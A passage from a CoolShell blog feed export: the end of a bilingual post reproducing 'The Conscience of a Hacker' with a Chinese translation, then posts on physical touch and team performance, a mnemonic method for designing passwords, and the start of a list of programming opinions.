/>\n准则并不是说明黑客是什么样的，而说让我们明白我们的不同性和一致性。</li>\n</ul>\n<ul>\n<li>Every hacker must make his or her own decisions about what is right or  wrong, and some might do things they believe are illegal, amoral or anti-social  to achieve higher goals.<br />\n每一个黑客必需自己为对和错作决定，有一些事可能是不合法，不道德的，甚至反社会的，但却可以让他们攀上自己价值观的高峰。</li>\n</ul>\n<ul>\n<li>Hackers&#8217; motivations are their own, and there is no reason for all hackers  to agree.<br />\n黑客的动机是他们自己的，而且无需任何理由获得其它的同意。</li>\n</ul>\n<ul>\n<li>Hackers have a shared identify, however, and many shared interests.<br />\n黑客一般会有共同的认识，然而，许多黑客却是拥有共同的利益。</li>\n</ul>\n<ul>\n<li>By reading this Code, hackers can recognize themselves and each other, and  understand better the group they are a part of. This will be beneficial to all  hackers.<br />\n了解了这些准则，黑客们能够赏识自己或相互赏识，并相当明白他们是这个团体的一部分。这会让所有的黑客受益。</li>\n</ul>\n<h1 style=\"text-align: center;\">The Conscience of a Hacker</h1>\n<p style=\"text-align: center;\"><a href=\"http://www.phrack.org/issues.html?issue=7&amp;id=3&amp;mode=html\">http://www.phrack.org/issues.html?issue=7&amp;id=3&amp;mode=html</a></p>\n<p>##=========================================</p>\n<p>\\/\\The Conscience of a Hacker/\\/</p>\n<p>by</p>\n<p>+++The Mentor+++</p>\n<p>笔名：导师</p>\n<p>Written on January 8, 1986</p>\n<p>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>\n<p>Another one got caught today, it&#8217;s all over the papers.  &#8220;Teenager Arrested in Computer Crime Scandal&#8221;, &#8220;Hacker Arrested after Bank Tampering&#8221;&#8230; Damn kids.  They&#8217;re all alike.</p>\n<p>今天有一个被捕的消息受到媒体热议。“某少年由于计算机犯罪被捕”，“入侵银行的黑客被捕”&#8230;一帮臭小子，他们都一样。</p>\n<p>But did you, in your three-piece psychology and 1950&#8217;s technobrain, ever take a look behind the eyes of the hacker?  Did you ever wonder what made him tick, what forces shaped him, what may have molded him?</p>\n<p>但是你们是帮老朽只知道老套的心理学和50年代的技术。你们有没有想想黑客究竟在想什么？你们有没有想想他们为什么这么做，什么造就了他们，什么塑造了这帮黑客？</p>\n<p>I am a hacker, enter my world&#8230;</p>\n<p>我是名黑客，请走进我的世界&#8230;</p>\n<p>Mine is a world that begins with school&#8230; I&#8217;m smarter than most of the other kids, this crap they teach us bores me&#8230;</p>\n<p>我的世界是从学校开始的&#8230;我是学校里最聪明的孩子，学校教我的垃圾让我厌倦。</p>\n<p>Damn underachiever.  They&#8217;re all alike.</p>\n<p>都他妈的水货，这帮子成绩不好的都一样烂。</p>\n<p>I&#8217;m in junior high or high school.  I&#8217;ve listened to teachers explain for the fifteenth time how to reduce a fraction.  I understand it.  &#8220;No, Ms. Smith, I didn&#8217;t show my work.  I did it in my head&#8230;&#8221;</p>\n<p>我初中高中时候就是如此了。白痴老师一个分式化简要解释15次。这些我全懂。所以我说”不用了，XX老师，我不用写这些步骤，我可以心算&#8230;&#8221;</p>\n<p>Damn kid.  Probably copied it.  They&#8217;re all alike.</p>\n<p>一帮傻同学，估计都只知道抄写老师的板书，一棒子二百五。</p>\n<p>I made a discovery today.  I found a computer.  Wait a second, this is cool.  It does what I want it to.  If it makes a mistake, it&#8217;s because I screwed it up.  Not because it doesn&#8217;t like me&#8230;</p>\n<p>今天我发现新大陆了。我遇到了一台计算机。真是太酷了，计算机完全按照我的指令执行。如果计算机犯了错，是因为我没搞对。而不是因为它不喜欢我&#8230;</p>\n<p>Or feels threatened by me&#8230;</p>\n<p>也不是觉得我成绩太好到威胁它了，也不是因为我是个自是聪明自以为是，而且不对我教条主义</p>\n<p>Or thinks I&#8217;m a smart ass&#8230;</p>\n<p>Or doesn&#8217;t like teaching and shouldn&#8217;t be here&#8230;</p>\n<p>Damn kid.  All he does is play games.  They&#8217;re all alike.</p>\n<p>而我的一帮傻逼同学，都他妈只知道玩。</p>\n<p>And then it happened&#8230; a door opened to a world&#8230; rushing through the phone line like heroin through an addict&#8217;s veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought&#8230; a board is found.</p>\n<p>突然，与计算机相处为我打开了一扇通往另一个世界的门。一股电脉冲从电话线传送出去，就好像海洛因冲过毒瘾者的血脉，我可以逃离那帮子傻逼，一个新大陆！</p>\n<p>&#8220;This is it&#8230; this is where I belong&#8230;&#8221;</p>\n<p>是的！计算机是我的归属。</p>\n<p>I know everyone here&#8230; even if I&#8217;ve never met them, never talked to them, may never hear from them again&#8230; I know you all&#8230;</p>\n<p>在这个世界里，我认识这里的每一个人&#8230;虽然我并没有跟他们见面，没跟他们交谈，也许以后也不会再提到他们的消息。但是他们对我是那么的熟悉。</p>\n<p>Damn kid.  Tying up the phone line again.  They&#8217;re all alike&#8230;</p>\n<p>一棒子傻逼，大概他们又把我的电话线打结了。</p>\n<p>You bet your ass we&#8217;re all alike&#8230; we&#8217;ve been spoon-fed baby food at school when we hungered for steak&#8230; the bits of meat that you did let slip through were pre-chewed and tasteless.  We&#8217;ve been dominated by sadists, or ignored by the apathetic.  The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.</p>\n<p>是的，我们黑客都差不多&#8230;我们智力高度成熟，我们想啃牛排的时候只有被喂婴儿食物。好不容易有点肉吃，也是被嚼烂了的。我们被虐待狂欺负，被冷漠者漠视。偶尔有好人理解我们其实是最好学的学生，但是这种人少得跟沙漠中的水滴一样。</p>\n<p>This is our world now&#8230; the world of the electron and the switch, the beauty of the baud.  We make use of a service already existing without paying for what could be dirt-cheap if it wasn&#8217;t run by profiteering gluttons, and you call us criminals.  We explore&#8230; and you call us criminals.  We seek after knowledge&#8230; and you call us criminals.  We exist without skin color, without nationality, without religious bias&#8230; and you call us criminals.</p>\n<p>You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it&#8217;s for our own good, yet we&#8217;re the criminals.</p>\n<p>我们这些黑客长大了&#8230;这个世界充满着电子，开关，和美丽的波特（信号传输单位）。我们并不是在犯罪，我们只是在免费使用服务，这些服务要不是因为那些敛财狂本可以是非常廉价的。我们在探索&#8230;可你们说我们是在犯罪。我们是在寻求知识&#8230;可你们说我们是在犯罪。我们黑客无处不在，不分肤色，没有国界，没有宗教偏见&#8230;可你们说我们是在犯罪。你们这些伪君子制造了原子弹，发动战争，某战争，不忠，并且对我们说谎；你们居然说你们的行径是为我们好，而我们黑客是犯罪分子。</p>\n<p>Yes, I am a criminal.  My crime is that of curiosity.  My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.</p>\n<p>好吧，我是犯罪分子。我所犯的最是好奇心。我的罪过是基于一个人的言行评判一个人，而不是他的长相。我的罪过是我比你聪明，而你大概永远不会原谅我比你聪明。</p>\n<p>I am a hacker, and this is my manifesto.  You may stop this individual, but you can&#8217;t stop us all&#8230; after all, we&#8217;re all alike.</p>\n<p>我是一名黑客，以上是我的宣言。你可以制止一个个体，但是你阻止不了我们全部&#8230;因为，我们黑客都一样。</p>\n<p>+++The Mentor+++</p>\n<p>署名：导师</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2439.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>30</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>碰触，合作和团队绩效</title>\n\t\t<link>https://coolshell.cn/articles/2440.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2440.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Wed, 19 May 2010 00:40:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[team work]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2440</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>公司有时候会举行团队建设活动，让大家出去跋山涉水，一起做有肢体接触游戏（例如用废报纸和胶布搭建一个能把所有人容下的遮阳棚）。这其中是有道理的。 今日读到一篇加州...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2440.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2440.html\">碰触，合作和团队绩效</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>公司有时候会举行团队建设活动，让大家出去跋山涉水，一起做有肢体接触游戏（例如用废报纸和胶布搭建一个能把所有人容下的遮阳棚）。这其中是有道理的。</p>\n<p>今日读到一篇加州伯克利大学的文章 <a href=\"http://ist-socrates.berkeley.edu/~keltner/publications/kraus.huang.keltner.2010.pdf\">touch, cooperation, and performance</a>, 用科学的研究方法解释了为什么NBA球员们为什么要“high five（击掌）”，并用统计方法论证了碰触行为可以导致更好的比赛成绩。其实想想，其实人们握手，鼓励式地拍肩膀，引导别人进门的时候好客地推别人的背，道理都是一样。身体接触（符合社交礼仪范围的）是建立信任的一种微妙行为。这些大多不会写在领导力的书里。</p>\n<p>猴子之间互相捉虱子梳理毛发不是为了营养，而是增进群体的凝聚力。人类口头上的语言的第一功能不是为了表达知识，而是为了促进社会联系，其内容并不需要都是重要信息。这就是为什么我们一天之内说话内容的80%其实都是扯淡，八卦和闲聊。</p>\n<p>（注意：职场上有社交礼仪，此方法需要适度）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/562.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg\" alt=\"30种时尚的CSS网站导航条\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/562.html\" class=\"wp_rp_title\">30种时尚的CSS网站导航条</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-150x150.png\" alt=\"版本管理器的发展史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_title\">版本管理器的发展史</a></li><li ><a href=\"https://coolshell.cn/articles/2109.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"Python处理encoding的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2109.html\" class=\"wp_rp_title\">Python处理encoding的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/21.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/dp_book-150x150.jpg\" alt=\"101个设计模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21.html\" class=\"wp_rp_title\">101个设计模式</a></li><li ><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"这到底是谁之错？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_title\">这到底是谁之错？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2440.html\">碰触，合作和团队绩效</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2440.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何管理并设计你的口令</title>\n\t\t<link>https://coolshell.cn/articles/2428.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2428.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 18 May 2010 00:42:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2428</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在互联网上，需要我们输入用户名口令的地方实在是太多了，多得都让人记不过来了，N个电子邮件帐号，QQ， MSN，校内，开心，facebook，Blog，各种论坛，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2428.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在互联网上，需要我们输入用户名口令的地方实在是太多了，多得都让人记不过来了，N个电子邮件帐号，QQ， MSN，校内，开心，facebook，Blog，各种论坛，网银，淘宝，电子相册……，太多了，想想看，你要用多少用户名口令，相信很多人可能会这样做，用几乎一样的口令和用户名来申请所有的这些帐号，我估计这是大多数人的做法。当然，这样一来，你就需要保管好你的用户名和口令了，因为只要被破解了，就相当于你所有的帐号被破解了，这是多数恐怖的一件事情啊。你可能觉得别人破解你的口令很难，但我告诉你也许会非常容易，因为，如果你只使用一样的用户名和口令的话，也许某天，你注册了一个不知名的小网站，可能会意味着你所有的用户名和口令都被人获取了，要小心啊。</p>\n<p>对我来说，我通常会有几组组帐号和密码，</p>\n<ul>\n<li>一个帐号/密码是用于一些大的可以依赖的站点，如：MSN，gmail，linkedin，facebook，hotmail等，因为我相信这些站点应该可以足够信任不会出卖用户信息，也有足够的能力不会让用户信息和口令外泄。</li>\n<li>一个帐号/密码用于一些国内的一些大的网站，如：QQ，开心，CSDN，Sina，网易，Blog，同学录等，因为这些站点必竟还受到国家的监管，以及其内部不良员工可能会倒卖我的信息，指不定什么时候我的用户信息就会外泄。</li>\n<li>一个帐号/密码用于我的一些经济活动，如网银，淘宝，支付宝什么的。</li>\n<li>最后一个帐号/密码用于登录那些必需要注册的破站点，一个最简单的用户名口令。</li>\n</ul>\n<p>真烦啊。在这样的一个社会里，忘记密码绝对是一件最普通不过的事情了。就算是我这样的分组归类，同样需要超强的记忆力。不知道你会不会把你的密码写在某处呢？是啊，我也是想写啊，但那岂不是相当的危险，不丢则已，一丢就全丢了。</p>\n<p>今天，在国外的某论坛里看到了这样的一个设计方法，好像很不错，分享给大家。</p>\n<p><span id=\"more-2428\"></span></p>\n<p>1）首先，先找一句你喜欢的话（你一辈子都记得的话），当然，只有你记得的，无论中英文，然后取各个单词或字的英文、拼音、五笔头一个字母。比如：<strong>I</strong> <strong>L</strong>ike <strong>L</strong>ong <strong>C</strong>omplicated <strong>P</strong>asswords, <strong>T</strong>hey <strong>C</strong>onfuse <strong>P</strong>eople，取头一个字母则成为了：<strong>illcptcp</strong>。中文的——“信春哥得永生”的五笔的第一个字母是：<strong>wdstyt</strong>。这个东西只有你自己知道，就算是别人看到明码，也很难马上记下来，是吧。</p>\n<p>2）加上一些数字吧，比如你的生日，学号，电话，纪念日等。比如世界末日：2012年的12月21日(我们只取12月21日)。把这些数字加在断句的地方，于是得到这样的口令：<strong>illcp12tcp21 </strong>或是 <strong>wds12tyt21</strong>。</p>\n<p>3）我们把第二步得到的口令叫基本口令。然后你可以在其前后(或是中间)加上站点的简称（用大写）。如：</p>\n<ul>\n<li>gmail：<strong>GM</strong><strong>illcp12tcp21</strong></li>\n<li>CSDN：<strong>CS</strong><strong>wds12tyt21DN</strong></li>\n<li>MSN<strong><span style=\"font-weight: normal;\">：</span><strong>illcp12tcp21MSN</strong></strong></li>\n<li><strong><span style=\"font-weight: normal;\">QQ：</span><strong>Q<strong>wds12tyt21Q</strong></strong></strong></li>\n</ul>\n<p>4）改良。你可以在上述的第2）步，在输入数字时按着Shift键，于是，你可以得到更BT的口令：<strong>illcp!@tcp@! </strong>，或是在第3)步聚的前缀和后缀间加上特殊字符，如：&amp;, ＃，^等等。</p>\n<p>相信这样的规则会让你的口令即不重复，又好记，而且又足够复杂。不然，你真的要去下载一个软件来记你的口令了。</p>\n<p>大家不妨也说说你的口令的设计或管理方法。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2428.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>141</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十条不错的编程观点</title>\n\t\t<link>https://coolshell.cn/articles/2424.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2424.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 14 May 2010 00:50:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2424</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在Stack Overflow上有这样的一个贴子《What’s your most controversial programming opinion?》，翻译...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2424.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在<a href=\"http://stackoverflow.com/\" target=\"_blank\">Stack Overflow</a>上有这样的一个贴子《<a href=\"http://stackoverflow.com/questions/406760/whats-your-most-controversial-programming-opinion\" target=\"_blank\">What’s  your most controversial programming opinion?</a>》，翻译成中文就是“<span style=\"color: #333333;\">你认为最有争议的编程观点是什么？</span>”，不过，在400多个主回贴，以及千把个子回贴中，好像并不是很有争议，而是令人相当的茅塞顿开，下面罗列一些，并通过我自己的经历和理解发挥了一些，希望对你有帮助。</p>\n<p><strong>1） The only &#8220;best practice&#8221; you should be using all the time is &#8220;Use Your  Brain&#8221;.</strong></p>\n<p>唯一的“Best Practice”并不是使用各种各样被前人总结过的各种设计方法、模式，框架，那些著名的方法、模式、框架只代码赞同他们的人多，并不代表他们适合你，你应该更多的去使用你的大脑，独立地思考那些方法、模式、框架出现的原因和其背后的想法和思想，那才是“best practice”。事实上来说，那些所谓的“Best Practice”只不过是限制那些<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员们</a>的破坏力。</p>\n<p><strong>2）Programmers who don&#8217;t code in their spare time for fun will never  become as good as those that do.</strong></p>\n<p>如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的娱乐方式去生活，无论是编程，还是运动，还是去旅游，那么你只不过是在应付你的工作，无时无刻不扎在程序堆中，这样下来，就算是你是一个非常聪明，非常有才华的人，你也不会成为一个优秀的编程员，要么只会平平凡凡，要么只会整天扎在技术中成为书呆子。当然，这个观点是有争议，热情和能力的差距也是很大的。不过我们可以从中汲取其正面的观点。</p>\n<p><strong>3）M</strong><strong>ost comments in code are in fact a pernicious form of code  duplication.</strong></p>\n<p>注释应该是注释Why，而不是How和What，参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/340.html\" target=\"_blank\">惹恼程序员的十件事</a>》，代码告诉你How，而注释应该告诉你Why。但大多数的程序并不知道什么是好的注释，那些注释其实和code是重复的，毫无意义。</p>\n<p><span id=\"more-2424\"></span></p>\n<p><strong>4）XML is highly overrated</strong></p>\n<p>XML可能被高估了。XML对于Web上的应用是不错的，但是我们把其用到了各种地方，好像没有XML，我们都不会编程了。</p>\n<p><strong>5）Not all programmers are created equal</strong></p>\n<p>这是那些junior经理或是流程爱犯的错，他们总是认为，DeveloperA == DeveloperB，只要他们的title一样，他们以为他们的能力、工作速度、解决问题的方法，掌握的技能等等都是一样的。呵呵。更扯的是，在某些时候，就算是最差的程序员，他们也会认为其比别人强十倍，这就是现代的SB管理。</p>\n<p><strong>6）&#8221;Googling it&#8221; is okay!</strong></p>\n<p>Google只会给你知识，并不会教给你技能。那里只有“鱼”，没有“渔”，过度的使用Google，只会让你越来越离不开他，你越来越去要去立马告诉你答案，而你越来越不会自己去思考，自己去探索，去专研。如果KFC快餐是垃圾食品对我们的身体没有好处，那么使用Google也一种快餐文化对我们的智力发展大大的没有好处。</p>\n<p><strong>7）</strong><strong>If you only know one language, no matter how well you know it, you&#8217;re not a  great programmer.</strong></p>\n<p>如果你只懂一种语言，准确的说，如果你只懂一类语类，如：Java和C#，PHP和Perl，那么，你将会被局限起来，只有了解了各种各样的语言，了解了不同语言的不同方法 ，你才会有比较，只有了比较，你才会明白各种语言的长处和短处，才会让你有更为成熟的观点，而且不整天和别的程序在网上斗嘴争论是Windows好还是Unix好，是C好还是C++好，有这点工夫能干好多事了。世界因为不同而精彩，只知道事物的一面是有害的。</p>\n<p><strong>8）Your job is to put yourself out of 